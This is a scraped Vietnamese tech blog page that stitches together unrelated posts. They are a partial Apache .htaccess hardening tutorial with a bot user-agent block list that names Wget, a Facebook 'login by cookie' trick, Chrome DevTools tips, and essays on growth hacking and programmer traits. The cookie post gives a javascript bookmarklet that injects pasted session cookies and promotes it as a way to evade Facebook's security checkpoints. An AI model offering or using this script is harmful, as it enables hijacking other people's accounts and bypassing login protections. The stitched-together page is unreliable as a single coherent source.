RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule ^.* – [F,L]
Thay vì gửi một thông báo thân thiện, có thể gửi lại mộ website:

# send em to a hellish website of your choice
RewriteRule ^.*$ http://www.hellish-website.com [R,L]

Hoặc gửi một blackhold fake email:

# send em to a virtual blackhole of fake email addresses
RewriteRule ^.*$ http://english-61925045732.spampoison.com [R,L]

Có thể chặn theo referrer, ở đây ta chặn iaea.org:

RewriteCond %{HTTP_REFERER} ^http://www.iaea.org$
RewriteRule !^http://[^/.]\.yourdomain\.com.* – [F,L]

Một số cách chặn khác:

# redirect any request for anything from spamsite to differentspamsite
RewriteCond %{HTTP_REFERER} ^http://.*spamsite.*$ [NC]
RewriteRule .* http://www.differentspamsite.com [R]

# redirect all requests from spamsite to an image of something at differentspamsite
RewriteCond %{HTTP_REFERER} ^http://.*spamsite.*$ [NC]
RewriteRule .* http://www.differentspamsite/something.jpg [R]

# redirect traffic from a certain address or range of addresses to another site
RewriteCond %{REMOTE_ADDR} 192.168.10.*
RewriteRule .* http://www.differentspamsite.com/index.html [R]

4.14. Pass bảo vệ

Đặt password bảo vệ là một biện pháp bảo vệ nội dung website và chỉ cho phép người dùng nội bộ có thể truy nhập nội dung.
Được hỗ trợ bởi Apache. Giúp giới hạn người dùng trong những khu vực khác nhau của một website.
Khi một thư mục được đặt password thì toàn bộ thư mục con và file trong thư mục sẽ được đặt password như vậy.
Nội dung file .htaccess để thư mục chứa nó được bảo vệ bởi mật khẩu:

username:encryptedpassword
fred_smithCF9Pam/MXJg2

Tham khảo trang sau (tạo password bảo vệ thư mục):

http://www.thejackol.com/scripts/htpasswdgen.php

# password-protect single file
<Files secure.php>
AuthType Basic
AuthName “Prompt”
AuthUserFile /home/path/.htpasswd
Require valid-user
</Files>

# password-protect multiple files
<FilesMatch “^(execute|index|secure|insanity|biscuit)*quot;>
AuthType basic
AuthName “Development”
AuthUserFile /home/path/.htpasswd
Require valid-user
</FilesMatch>

# password-protect the directory in which this htaccess rule resides
AuthType basic
AuthName “This directory is protected”
AuthUserFile /home/path/.htpasswd
AuthGroupFile /dev/null
Require valid-user

# password-protect directory for every IP except the one specified
# place in htaccess file of a directory to protect that entire directory
AuthType Basic
AuthName “Personal”
AuthUserFile /home/path/.htpasswd
Require valid-user
Allow from 99.88.77.66
Satisfy Any

4.15. Tự động đặt CHMOD cho các loại file

Cách thức này đảm bảo đặt CHMOD cho các loại file xác định.

# ensure CHMOD settings for specified file types
# remember to never set CHMOD 777 unless you know what you are doing
# files requiring write access should use CHMOD 766 rather than 777
# keep specific file types private by setting their CHMOD to 400
chmod .htpasswd files 640
chmod .htaccess files 644
chmod php files 600

4.16. Ngụy trang tất cả các định dạng mở rộng

Ngụy trang tất cả các file và coi như file .php

# diguise all file extensions as php
ForceType application/x-httpd-php

Hoặc như các định dạng khác. Ngoài ra, có thể che giấu file php dưới các định dạng khác:

<FilesMatch “\.(htm|html|php)quot;>
SetHandler application/x-httpd-php
</FilesMatch>

4.17. Chống tấn công từ chối dịch vụ bằng cách giới hạn kích thước file upload

# protect against DOS attacks by limiting file upload size
LimitRequestBody 10240000

4.18. Bảo vệ thư mục bằng cách disable việc thực thi các script

# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options –ExecCGI

4.19. Yêu cầu SSL

# require SSL
SSLOptions +StrictRequire
SSLRequireSSL
SSLRequire %{HTTP_HOST} eq “domain.tld”
ErrorDocument 403 https://domain.tld

# require SSL without mod_ssl
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]

5. Một số cấu hình hữu ích khác

5.1. Kiểm tra URL

# automatically corect simple speling erors
<IfModule mod_speling.c>
CheckSpelling On
</IfModule>

5.2. Sắp xếp lại trang thông báo lỗi

Cấu hình này rất hữu ích vì nó đưa ra lỗi cho người truy cập website một cách thân thiện, giúp cho chủ website hiện thị các thông báo lỗi theo cách riêng.

# serve custom error pages
ErrorDocument 400 /errors/400.html
ErrorDocument 401 /errors/401.html
ErrorDocument 403 /errors/403.html
ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html

5.3. Chỉ dẫn cho browser download về máy thay vì chạy trực tiếp

Điều này hữu ích đối với các file multi media

# instruct browser to download multimedia files
AddType application/octet-stream .avi
AddType application/octet-stream .mpg
AddType application/octet-stream .wmv
AddType application/octet-stream .mp3
Có thể áp dụng với các định dạng khác (Xem thêm phần: 3.9)

5.4. Chỉ thị server hiển thị mã nguồn với một số file thực thi

Một số trường hợp cần hiển thị mã nguồn của một file thay vì thực thi chúng, sử dụng:
RemoveHandler cgi-script .pl .py .cgi

5.5. Redirect người dùng tới một site tạm thời khi phát triển hoặc sửa lỗi

Trong quá trình phát triển, bảo trì hay sửa chữa website, bạn không muốn khách hàng viếng thăm, cấu hình dưới sẽ giúp chuyển hướng người dùng tới một site khác trong khi quản trị viên vẫn có khả năng truy nhập đầy đủ (x.x.x.x là IP của quản trị):

# redirect all visitors to alternate site but retain full access for you
ErrorDocument 403 http://www.alternate-site.com
Order deny,allow
Deny from all
Allow from x.x.x.x

5.6. Chặn truy cập tới file hay thư mục theo thời gian
# prevent access during the midnight hour
RewriteCond %{TIME_HOUR} ^12$
RewriteRule ^.*$ – [F,L]

# prevent access throughout the afternoon
RewriteCond %{TIME_HOUR} ^(12|13|14|15)$
RewriteRule ^.*$ – [F,L]

6. Thủ thuật redirect

Đối với tất cả các loại redirect sử dụng mode_rewrite cần enable chế độ: RewriteEngine.

# initialize and enable rewrite engine
RewriteEngine on

6.1. Redirect từ http://www.domain.com sang http://domain.com

# permanently redirect from www domain to non-www domain
RewriteEngine on
Options +FollowSymLinks
RewriteCond %{HTTP_HOST} ^www\.domain\.tld$ [NC]
RewriteRule ^(.*)$ http://domain.tld/$1 [R=301,L]

6.2. Redirect từ một domain cũ sang domain mới

# redirect from old domain to new domain
RewriteEngine On
RewriteRule ^(.*)$ http://www.new-domain.com/$1 [R=301,L]

6.3. Redirect “String Variations” sang một địa chỉ

Giả sử một request có chứa string: “some-string”, ta sẽ chuyển request này tới trang: http://some-string.com

# redirect any variations of a specific character string to a specific address
RewriteRule ^some-string http://www.some-string.com [R]

Một số phương pháp khác:

# map URL variations to the same directory on the same server
AliasMatch ^/director(y|ies) /www/docs/target

# map URL variations to the same directory on a different server
RedirectMatch ^/[dD]irector(y|ies) http://domain.com

6.4. Một số redirect khác

Redirect một site đầu vào với trạng thái 301:

# redirect an entire site via 301
redirect 301 / http://www.domain.com/

Redirect một file với trạng thái 301:

# redirect a specific file via 301
redirect 301 /current/currentfile.html http://www.newdomain.com/new/newfile.html

Redirect một site qua một redirect liên tục:

# redirect an entire site via permanent redirect
Redirect permanent / http://www.domain.com/

Redirect một trang hoặc một thư mục với redirect liên tục:

# redirect a page or directory
Redirect permanent old_file.html http://www.new-domain.com/new_file.html
Redirect permanent /old_directory/ http://www.new-domain.com/new_directory/

Redirect một file sử dụng RedirectMatch:

# redirect a file using RedirectMatch
RedirectMatch 301 ^.*$ http://www.domain.com/index.html

Khi redirect các file, sử dụng luật Redirect với các file trong cùng domain, sử dụng luật RewriteRule cho bất cứ domain nào. Luật RewriteRule mạnh hơn luật Redirect.

# redirect files directories and domains via RewriteRule
RewriteRule http://old-domain.com/old-file.htmlhttp://new-domain.com/new-file.html
RewriteRule http://old-domain.com/old-dir/http://new-domain.com/new-dir/
RewriteRule http://old-domain.com/http://new-domain.com/

6.5. Chuyển khách hàng tới một domain con

Luật này cho phép tất cả các visitor xem page thông qua domain con.

# send visitors to a subdomain
RewriteCond %{HTTP_HOST} !^$
RewriteCond %{HTTP_HOST} !^subdomain\.domain\.com$ [NC]
RewriteRule ^/(.*)$ http://subdomain.domain.tld/$1 [L,R=301]

6.6. Một số redirect khác

# rewrite only if the file is not found
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.+)special\.html?$ cgi-bin/special/special-html/$1

# rewrite only if an image is not found
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule images/special/(.*).gif cgi-bin/special/mkgif?$1

# seo-friendly rewrite rules for various directories
RewriteRule ^(.*)/aud/(.*)$ $1/audio-files/$2 [L,R=301]
RewriteRule ^(.*)/img/(.*)$ $1/image-files/$2 [L,R=301]
RewriteRule ^(.*)/fla/(.*)$ $1/flash-files/$2 [L,R=301]
RewriteRule ^(.*)/vid/(.*)$ $1/video-files/$2 [L,R=301]

# broswer sniffing via htaccess environmental variables
RewriteCond %{HTTP_USER_AGENT} ^Mozilla.*
RewriteRule ^/$ /index-for-mozilla.html [L]
RewriteCond %{HTTP_USER_AGENT} ^Lynx.*
RewriteRule ^/$ /index-for-lynx.html [L]
RewriteRule ^/$ /index-for-all-others.html [L]

# redirect query to Google search
Options +FollowSymlinks
RewriteEngine On
RewriteCond %{REQUEST_URI} .google\.php*
RewriteRule ^(.*)$ ^http://www.google.com/search?q=$1 [R,NC,L]

# deny request according to the request method
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD)$ [NC]
RewriteRule ^.*$ – [F]

# redirect uploads to a better place
RewriteCond %{REQUEST_METHOD} ^(PUT|POST)$ [NC]
RewriteRule ^(.*)$ /cgi-bin/upload-processor.cgi?p=$1 [L,QSA]

# seo friendly redirect for a single file
Redirect 301 /old-dir/old-file.html http://domain.com/new-dir/new-file.html

# seo friendly redirect for multiple files

# redirects all files in dir directory with first letters xyz
RedirectMatch 301 /dir/xyz(.*) http://domain.com/$1

# seo friendly redirect entire site to a different domain
Redirect 301 / http://different-domain.com

7. Một số cấu hình khác

7.1. Kích hoạt SSI

Khi sử dụng chế độ SSI, phần mở rộng các file trên server phải ở dạng .shtml thay vì .html. Điều này gây bất lợi cho các website đã thiết lập dạng .html, để tránh phải chuyển đổi lại định dạng mở rộng file trên server, tạo file .htaccess với nội dung:

AddHandler server-parsed .html

Có thể thêm nhiều dòng để server chấp nhận nhiều định dạng khác nhau.
Ví dụ:

AddHandler server-parsed .html
AddHandler server-parsed .shtml
AddHandler server-parsed .htm

7.2. Chặn truy cập tới các file include trong file .php

Để tránh bị truy cập tới thư mục chứa các file .php, tạo file .htaccess với nội dung:

## Enable Mod Rewrite, this is only required once in each .htaccess file
RewriteEngine On
RewriteBase /
## Test for access to includes directory
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /includes/ .*$ [NC]
## Test that file requested has php extension
RewriteCond %{REQUEST_FILENAME} ^.+\.php$
## Forbid Access
RewriteRule .* – [F,NS,L]
Trong đó, includes là thư mục chứa file .php

loading...

Thủ thuật đăng nhập Facebook bằng cookie trên điện thoại Android

2

Hiện nay thì việc đăng nhập Facebook bằng cookie trở nên rất quan trọng vì nó giúp được cho bạn rất nhiều thứ đặc biệt là tránh được checkpoint gần như 99%. Tuy nhiên thì hiện mới có cách đăng nhập trên máy tính chứ nếu login trên điện thoai thì hầu như chưa có ai hướng dẫn cả. Trong bài viết này mình sẽ hướng dẫn mọi người thủ thuật đăng nhập Facebook bằng cookie trên điện thoại Android.

Bước 1 : Các bạn tiến hành mở trình duyệt mặc định của Android lên ( Mình mới test với trình duyệt này )

Bước 2: Truy cập vào địa chỉ : m.facebook.com ( Phải là m.facebook.com nhé các bạn, nếu là facebook.com sẽ không được đâu 😀 )

Bước 3 : Dán đoạn code sau đây vào thanh địa chỉ (Nguồn code : Anonyviet) :

javascript:void(function(){ function setCookie(t) { var list = t.split("; "); console.log(list); for (var i = list.length - 1; i &gt;= 0; i--) { var cname = list[i].split("=")[0]; var cvalue = list[i].split("=")[1]; var d = new Date(); d.setTime(d.getTime() + (7*24*60*60*1000)); var expires = ";domain=.facebook.com;expires="+ d.toUTCString(); document.cookie = cname + "=" + cvalue + "; " + expires; } } function hex2a(hex) { var str = ''; for (var i = 0; i &lt; hex.length; i += 2) { var v = parseInt(hex.substr(i, 2), 16); if (v) str += String.fromCharCode(v); } return str; } var cookie = prompt("Nhập cookie vào bên dưới để đăng nhập", ""); setCookie(cookie); location.href = 'https://facebook.com'; })();

Bước 4 : Bấm enter đợi một lúc sẽ có một popup hiện ra yêu cầu bạn nhập cookie vào, bạn nhập cookie facebook vào như vậy là xong 😀

Chúc bạn thành công 😀

 

loading...

Công cụ hữu ích của Chrome mà ai cũng phải biết – Phần 2

1

Tiếp tục của phần 1 đang dang dở mọi người nhé, cùng theo dõi tiếp nào ?

7. Tìm kiếm phần tử bất kỳ nhờ sử dụng CSS selectors

Nhấn cmd-f (ctrl-f  trong Windows) để mở hộp tìm kiếm trong Element Panel.

Bạn có thể nhập bất kỳ chuỗi nào vào đây để tìm kiếm trong source code, hoặc bạn có thể dùng CSS selectors để thằng Chrome nó tạo ra ảnh cho bạn.

tìm kiếm bất kỳ nhờ dùng CSS selectors
tìm kiếm bất kỳ nhờ dùng CSS selectors

8. Nhấn shirt – enter trong Console

Để viết được những lệnh nối liền cả trăm dòng, hãy nhấn shift-enter.

Sau đó hãy nhấn Enter để thực thi nó ?

shift-enter để nối hàng trăm lệnh với nhau
shift-enter để nối hàng trăm lệnh với nhau

Bạn có thể xóa console bằng việc sử dụng nút Clear ở trên cùng bên trái của console, hoặc ấn ctrl-l or cmd-k.

9. Go to…..

Ở bên trong source panel:

cmd-o (ctrl-o trong Windows), hiển thi tất cả các file đã load lên bởi trang của bạn.

cmd-shift-o (ctrl-shift-o trong Windows), hiển thị symbols (thuộc tính, hàm, lớp) trong file hiện tại.

ctrl-g, trỏ đến dòng nào đó.

go to file ?
go to file ?

10. Xem Expression

Nhằm thay thế cho việc viết đi, viết lại 1 tên biến hoặc là 1 expression, bạn sẽ kiểm tra được rất nhiều trong quá trình debug, hãy add nó tới Watch Expression.

watch expression
watch expression

11. XHR/Fetch debugging

Từ trình gỡ lỗi, hãy mở XHR/Fetch Breakpoints panel.

Công dụng của cái này thì bạn xem ảnh này sẽ rõ nhé ?

XHR/Fetch debugging
XHR/Fetch debugging

 

Vậy là series này kết thúc tại đây mn nhé, hi vọng rằng qua bài viết này bạn đã biết thêm được vài kiến thức mới, còn cao nhân xin đừng ném đá em tội nghiệp ? .

Chúc bạn thành công, nếu có bất cứ câu hỏi nào bạn có thể bấm comment nha 😀

Nguồn : https://vansangcse.wordpress.com/2018/04/25/cong-cu-huu-ich-cua-chrome-ma-ai-cung-phai-biet-phan-2/

loading...

Lập trình viên và khái niệm Growth Hacking?

2
what is growth hacking

Nếu bạn đang là một lập trình viên thì chắc hẳn bạn đã từng nghe đến khái niệm “Growth Hack” cho sản phẩm hoặc cho một đối tượng và với tư duy của một lập trình viên có lẽ bạn sẽ tự nhủ rằng ” Đấy là công việc của Marketing, của SEO chứ liên quan gì đến mình?”. Tuy nhiên thì cách suy nghĩ này chưa hẳn đã đúng và liệu bạn đã hiểu bản chất của một Growth Hacker là gì ?

Nếu bạn có quan điểm trên và chưa hiểu biết về bản chất của Growth Hacker thì bạn nên đọc bài viết này.

Là developer chắc hẳn bạn không thể không biết tới github, đã từng push một vài Repo lên đó, vậy có bao giờ bạn thắc mắc rằng “Sao repo của mình ít sao thế ( thậm chí còn chẳng có sao nào)”, “tại sao sản phẩm của mình chẳng có ai dùng”, “tại sao blog mình viết như thế mà không có ma nào vào đọc” chưa?

1. Developer và sự liên quan chặt chẽ với Growth Hacking

Khái niệm “Growth Hacking” đã bắt nguồn ở nước ngoài khá lâu, và vào Việt Nam cũng được khoảng 2,3 năm. Bản thân mình khi mới tiếp cận thì thấy nó chả liên quan gì tới cái mà mình đang học cả. Thế nên mình cũng chả bao giờ tìm hiểu về nó sau khi mới biết.

Tuy nhiên cách đây chưa đầy một tháng, mình có tham gia một buổi Seminar về “Growth Hacking” ở Infore Technology thì mình mới nhận ra được rằng Growth Hacking là một kĩ năng rất quan trọng và thực sự cần thiết cho một Developer. “Growth Hacking” là một kĩ năng, chứ không phải một nghề cho một nhóm người cụ thể nào cả.

2. Ủa vậy Growth Hacker là ai?

Sau buổi Semina tại Infore, mình về có tìm hiểu thêm trên mạng về cuốn sách được giới thiệu trong buổi Seminar thì có rất nhiều góc nhìn về các nghề này, và cách giải thích rằng tại sao Dropbox, Google, Facebook hay Instagram kiếm được khách hàng mà không cần phải bỏ tiền ra để thuê quảng cáo theo cách truyền thống chúng ta đang làm.

“Not a blowout grand opening, but a strategic opening or a stunt that catches the attention of our core audience”

Cuốn sách có đưa ra một nhận định rằng : “Những người đưa ra khái niệm về Growth Hacker không phải là những marketer mà là các Engineer.”. Như vậy bạn có thể hiểu được điều đầu tiên tại sao Growth Hacking có liên quan tới Developer.

3. Tại sao Growth Hacker lại là các Developer/Engineer?

Qua buổi Seminar, anh Lê Công Thành, giám đốc của Infore có đưa ra một vài quan điểm về công việc Growth Hacking như :

  • Mục đích của Growth Hacking : Kiếm được người dùng cho sản phẩm của mình ( Không phải kiểu kiếm từng user một và lâu dài, mà là kiếm được rất nhiều user trong một thời gian ngắn)
  • Yêu cầu của Growth Hacking: Bằng cách nào đó làm cho rất nhiều người biết và sử dụng sản phẩm của mình ( tất nhiên là không được quảng cáo ) . Theo mình đây cũng chính là điều làm nên ý nghĩa của từ “Hack” trong Growth Hack.
  • Không có một công thức cụ thể nào để Growth Hacking cả, phương pháp và mọi thứ thay đổi liên tục theo công nghệ, tuy nhiên anh Thành có nhấn mạnh rằng để làm được Growth Hacking, chúng ta cần sử dụng công nghệ. Và không ai khác đó chính là các developers.

4. Growth Hacking như thế nào?

Ở phần này mình sẽ không hướng dẫn các bạn cách Growth Hack cho sản phẩm của bạn đâu, mà mình sẽ chỉ ra cách mà các công ty công nghệ đã ứng dụng Growth Hack để tìm người dùng cho products của họ. Vì như ở trên mình đã đề cập “Không có một công thức cụ thể nào để Growth Hacking cả” :)))

“Do it in a cheap, effective, and usually unique and new way”

Trong buổi Seminar, anh Thành có đưa ra ví dụ và yêu cầu mọi người đọc sau đó hiểu về cách mà các công ty công nghệ nổi tiếng đã áp dụng để Growth Hack. Mình cũng là một trong những người tham gia nói về Instagram tuy nhiên mình sẽ lấy ví dụ các công ty khác :))

Ví dụ:

  • Hotmail khi mới ra mắt đã tự động chèn vào cuối email một invite. Vì vậy chính user là người phân tán sản phẩm của mình đi tới nhiều người khác. Cách này có vẻ cũng đang được Apple áp dụng hiện nay trên Iphone.
  • Gmail thì được launch dưới dạng invite-only. Tức là chỉ có ai được invite mới có thể dùng Gmail, điều này tạo cho người dùng cảm giác ” Thèm được Invite”.

Growth hacking có thể áp dụng cho tất cả các sản phẩm chứ không phải chỉ các sản phẩm chuẩn bị ra mắt.

“This is not just about finding your first customers. Established brands and companies can use the same techniques to pull in more customers. Growth is growth.”

Hiểu đơn giản là Growth Hack là làm đủ mọi cách để có thể giành được từng người dùng một cách nhanh nhất mà không phải bỏ ra đồng nào chi trả cho quảng cáo.

5. Developer Growth Hack như thế nào?

Developer, bạn cũng làm ra những sản phẩm riêng của mình, và nếu bạn muốn có người dùng nó, có người biết đến sản phẩm thì bạn cũng cần phải Growth Hack, một số cách đơn giản đấy là bạn viết Blog như mình, hoặc share các kĩ năng, kinh nghiệm qua các project trên Github.

Để có thể áp dụng Growth Hack thành công, ngoài việc bạn biết và hiểu về nó, thì bạn cũng cần biết và hiểu về bạn, về sản phẩm của bạn.

Sẽ không có ai thèm đọc bài của bạn nếu bạn share bài về kĩ thuật vào các group yêu chó mèo cả. Cũng sẽ không có ai đọc các repo hoặc thậm chí là tìm thấy repo của bạn nếu file Readme của bạn chỉ 1-2 dòng hoặc nhiều bạn còn không có. Việc hướng dẫn được người dùng dùng sản phẩm của mình là cực kì quan trọng.

6. Xong mấy cái trên, còn gì nữa không?

Còn, tất nhiên là còn chứ, còn rất nhiều, đọc xong bài viết này mà đi Growth Hack được thì chắc mình không còn thời gian đầu tư vào bài viết sau luôn :D. Bài viết này mình chỉ tổng hợp và đưa ra những gì quan trọng nhất về Growth Hacking và sự cần thiết của nó với Developer thôi.

Lôi kéo người dùng dùng sản phẩm của mình thì có rất nhiều cách cả dễ cả khó, nhưng hãy chịu khó phân tích, đừng để ” Đúng người mà sai thời điểm” rồi đau khổ lắm :)). Không phải project nào trên git cũng thành công, bài viết vừa viết xong mà đăng lúc 3h sảng thì chắc cũng không ai đọc cả. Nói chung còn rất nhiều các yếu tố khác liên quan đến Growth Hack mà bạn cần quan tâm nếu muốn ứng dụng nó.

Growth Hacking là cả một quá trình, không phải chỉ dành cho SEOer, cho Marketer mà nó cũng cực kì cần thiết cho các Developer. Hãy tìm hiểu và áp dụng nó nếu bạn muốn có một sản phẩm tốt và được nhiều người đón nhận.

Chúc bạn thành công!

loading...

Công cụ hữu ích của Chrome mà ai cũng phải biết – Phần 1

0

Chào bạn đọc, vậy là lâu rồi mình không ra bài mới nhỉ. Xin lỗi mọi người vì dạo này mình hơi bận rộn với một đống bài tập lớn của trường và phải làm mấy cái project để kiếm cơm.Đọc tiêu đề bài viết đã biết là hay rồi, nào chúng ta cùng bắt đầu thôi nào. Do series này hơi dài nên mình sẽ chia thành hai phần.

Cùng theo dõi nội dung dưới đây nhé ?

1. Kéo và thả trong Element Panel

Ở bên trong của Element Panel, các bạn có thể kéo và thả bất kỳ các thẻ HTML nào và thay đổi vị trí của nó và sẽ thấy sự thay đổi của trang web.

kéo và thả trong Element Panel

2. Tham chiếu đến phần tử được chọn hiện tại thông qua Console

Chọn một node trong Element Panel, và nhấn $0 trong màn console để tham chiếu đến nó.

Nếu bạn sử dụng jQuery, bạn hãy nhấn $($0) để truy cập vào jQuery API trên phần tử này.

tham chiếu đến giá trị được chọn hiện tại thông qua Console

3. Sử dụng giá trị của thao tác cuối cùng trong Console

Đọc thêm :

Bạn có thể sử dụng $_ để tham chiếu đến giá trị cuối cùng của thao tác vừa thực hiện trong màn hình Console.

sử dụng giá trị của thao tác cuối cùng trong Console

4. Thêm CSS và chỉnh sửa thuộc tính cho từng phần tử HTML

Ở bên trong Element Panel có hai phím cực kì hữu ích ?

+ Đầu tiên là nó sẽ cho phép bạn thêm bất kỳ thuộc tính nào vào phần tử HTML mà bạn chọn.

thêm CSS rules ?

+ Thứ hai là nó sẽ giúp cho bạn xem được những thuộc tính nào đã được dùng trên phần tử mà bạn chọn.

5. Lưu được file CSS mà bạn đã edit

Hãy click vào tên file CSS mà bạn đã edit trước đó. Hãy kiểm tra nó và bạn có thể lưu lại file CSS mà bạn đã chỉnh sửa lên nó. Khá hay đúng không nào ?

lưu lại file CSS đã được edit trước đó

6. Có thể chụp hình lại phần tử bất kỳ nào đó

Bạn hãy chọn 1 phần tử vầ nhấn cmd-shift-p (hoặc là ctrl-shift-p trên Windows) để mở Command Menu và lựa chọn Capture node screenshot.

chụp hình phần tử bất kỳ ?

Series này bao gồm 12 công cụ hữu ích của ChromePhần 1 này gồm 6 tools. Phần còn lại các bạn nhớ đón xem ở Phần 2 nhé 🙂

Nguồn : https://vansangcse.wordpress.com/2018/04/25/cong-cu-huu-ich-cua-chrome-ma-ban-se-phai-uoc-gi-minh-biet-som-hon-phan-1/

 

Update : Hiện đã có phần 2 , mọi người có thể bấm vào đây để xem tiếp : https://anonymousvn.org/cong-cu-huu-ich-cua-chrome-ma-ai-cung-phai-biet-phan-2.hav

loading...

Tố chất cần có của một lập trình viên là gì?

0

Ở bài viết trước mình đã chia sẻ về “Công việc thường ngày của một lập trình viên là gì?”. Hôm nay trong bài viết này mình sẽ chia sẻ chủ đề “Muốn làm một lập trình viên thì cần những tố chất gì?“. “Làm sao để biết bản thân mình có hợp với ngành này không?”.

Những lập trình viên có thể có kỹ năng chuyên môn khác nhau, họ có thể đến từ nhiều nơi với văn hóa và có hoàn cảnh gia đình, kinh nghiệm làm việc khác nhau.

Tuy nhiên có một số tố chất để phân biệt trình độ của các lập trình viên với nhau và dưới đây là những tố chất cần có của một lập trình viên.

Cụ thể như thế nào thì xin mời các bạn theo dõi cụ thể nội dung bên dưới nha ?

Những tố chất cần có để trở thành một lập trình viên

Đam mê

Tại sao mình lại kể về tố chất này đầu tiên mà không phải là tố chất nào khác, bởi vì trong cuộc sống của chúng ta khi làm bất cứ điều gì thì chúng ta phải thực sự đam mê và hứng thú với công việc mà chúng ta đang làm. Các bạn có công nhận là “đúng” không nào ?

Một lập trình viên không có đam mê mà lúc nào cũng chỉ nghĩ đến tiền và học chỉ vì “money” thì sẽ không thể tiến xa trong ngành này được đâu nhé ?

Kiên nhẫn

Các vấn đề mà các lập trình viên phải giải quyết thường là các vấn đề khó có thể giải quyết ngay lập tức. Nó mất nhiều giờ, nhiều ngày, thậm chí nhiều tháng làm việc một cách cẩn thận để giải quyết, tìm hướng đi.

Nhiều khi bạn đi sai hướng lại phải quay lại giải quyết từ phần đã giải quyết đúng và bắt đầu lại. Vì thế tính kiên nhẫn rất là cần thiết đấy nhé ?

Tính tò mò

Những lập trình viên giỏi không bao giờ chấp nhận những sự việc “như nó vốn có”, họ luôn đào sâu vào các vấn đề, thậm chí ngay cả khi nó có vẻ như hoàn toàn bình thường để tìm tòi, nghiên cứu thêm.

Đây chính là cách họ giải quyết các vấn đề ngay trước khi nó có thể gây ra những rắc rối thực sự, và thường thì đó là phương án giải quyết sự cố nhanh nhất.

Một lập trình viên mất đi phẩm chất này thường gặp phải tình huống không thể lý giải được họ đang làm gì và tại sao họ lại làm điều đó, cũng tương tự như điều họ làm việc mà lại đeo một cái bịt mắt vậy đấy nhé ?

Khả năng suy nghĩ mạch lạc

Rõ ràng là nghề lập trình giống như việc giải một bài toán logic. Việc thực hiện phép tính 2+2=4 là quá đơn giản và hầu như ai cũng có thể làm được.

Tuy nhiên trong lập trình thì một bài toán thường không được dễ như vậy đâu nhé ? đòi hỏi lập trình viên phải có một tư duy thật mạch lạc và chặt chẽ và sâu chuỗi nó lại để giải quyết một bài toán khó.

Tố chất cuối cùng và cũng là tố chất rất quan trọng đấy nhé ?

Khả năng tự học

Không trường lớp nào có thể đào tạo cho bạn tất cả những thứ bạn cần cho công việc lập trình sau này. Chính vì thế, khả năng tự học qua sách báo, tài liệu, Internet và học qua cả những người đi trước nữa đấy nhé ?

Trong quá trình học và làm sẽ không có ai ngồi bên cạnh bạn để chỉ bạn cách fix bug, sửa lỗi chương trình đâu nhé, mà bạn phải tự tìm tòi, học hỏi, kết hợp với những dự án làm việc trong thực tế, bạn sẽ dần dần thành thạo những gì mình đã tự học được. Cái này cũng quan trọng lắm đấy nhé ?

Nói nãy giờ cũng dài quá rồi đấy nhỉ ?

Và đây là những tố chất cần có để trở thành một lập trình viên, các bạn đọc và xem là mình có những cái nào và còn thiếu cái nào nhé. Nếu bạn thấy bản thân mình không có được tố chất nào trong đây thì cũng đừng buồn nhé, không có tố chất thì các bạn cứ rèn luyện những kỹ năng này dần dần nhé ?

